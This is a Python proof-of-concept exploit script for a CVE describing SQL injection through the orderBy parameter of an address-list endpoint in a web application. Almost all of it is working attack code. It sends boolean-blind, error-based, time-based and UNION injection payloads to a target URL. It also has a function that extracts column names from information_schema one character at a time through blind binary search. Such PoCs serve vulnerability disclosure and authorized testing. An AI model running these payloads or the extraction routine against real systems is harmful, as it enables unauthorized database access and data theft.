# CVE-2025-60266 - xckk v9.6 SQL Injection PoC
# Vulnerability: SQL injection via orderBy parameter in address/list endpoint
# Author: Security Research (int-ux)
import requests
import sys
TARGET_URL = "http://target-host"
ENDPOINT = "/address/list"
def test_sql_injection(target_url):
"""Test SQL injection vulnerability in orderBy parameter"""
url = target_url + ENDPOINT
# Normal request baseline
normal_payload = {"orderBy": "id"}
try:
normal_resp = requests.get(url, params=normal_payload, timeout=10)
normal_length = len(normal_resp.text)
print(f"[+] Normal response length: {normal_length}")
except Exception as e:
print(f"[-] Connection error: {e}")
return
# Boolean-based blind injection test
# If condition is true, order by id; if false, cause error or different result
payloads = [
# Test 1: Basic injection check
("id", "Normal"),
("id,(SELECT 1)", "Union/Subquery"),
# Test 2: Boolean-based blind
("IF(1=1,id,username)", "Boolean true"),
("IF(1=2,id,username)", "Boolean false"),
# Test 3: Error-based
("id AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)", "Error-based"),
# Test 4: Time-based blind
("id AND SLEEP(3)", "Time-based"),
# Test 5: UNION-based
("1 UNION SELECT 1,2,3,4,5-- -", "UNION injection"),
]
for payload, desc in payloads:
try:
resp = requests.get(url, params={"orderBy": payload}, timeout=15)
print(f"[+] Payload: {desc} | Status: {resp.status_code} | Length: {len(resp.text)}")
# Check for time-based injection
if "SLEEP" in payload:
import time
start = time.time()
requests.get(url, params={"orderBy": payload}, timeout=15)
elapsed = time.time() - start
if elapsed > 2:
print(f"[!] TIME-BASED INJECTION CONFIRMED! Elapsed: {elapsed:.2f}s")
except requests.exceptions.Timeout:
print(f"[!] TIMEOUT - Possible time-based injection: {desc}")
except Exception as e:
print(f"[-] Error with payload '{desc}': {e}")
def extract_data_blind(target_url, table_name):
"""Extract data using boolean-based blind SQL injection"""
url = target_url + ENDPOINT
extracted = ""
for i in range(1, 50):
# Extract character by character using ASCII comparison
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
# MySQL boolean blind injection payload
payload = f"IF(ASCII(SUBSTRING((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}'),{i},1))>{mid},id,username)"
try:
resp = requests.get(url, params={"orderBy": payload}, timeout=10)
# Compare response to determine boolean result
if len(resp.text) == len(requests.get(url, params={"orderBy": "id"}, timeout=10).text):
low = mid + 1
else:
high = mid - 1
except:
break
if low > 126:
break
extracted += chr(low)
print(f"[+] Extracted so far: {extracted}")
return extracted
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
print(f"[*] Testing SQL injection on: {target}")
test_sql_injection(target)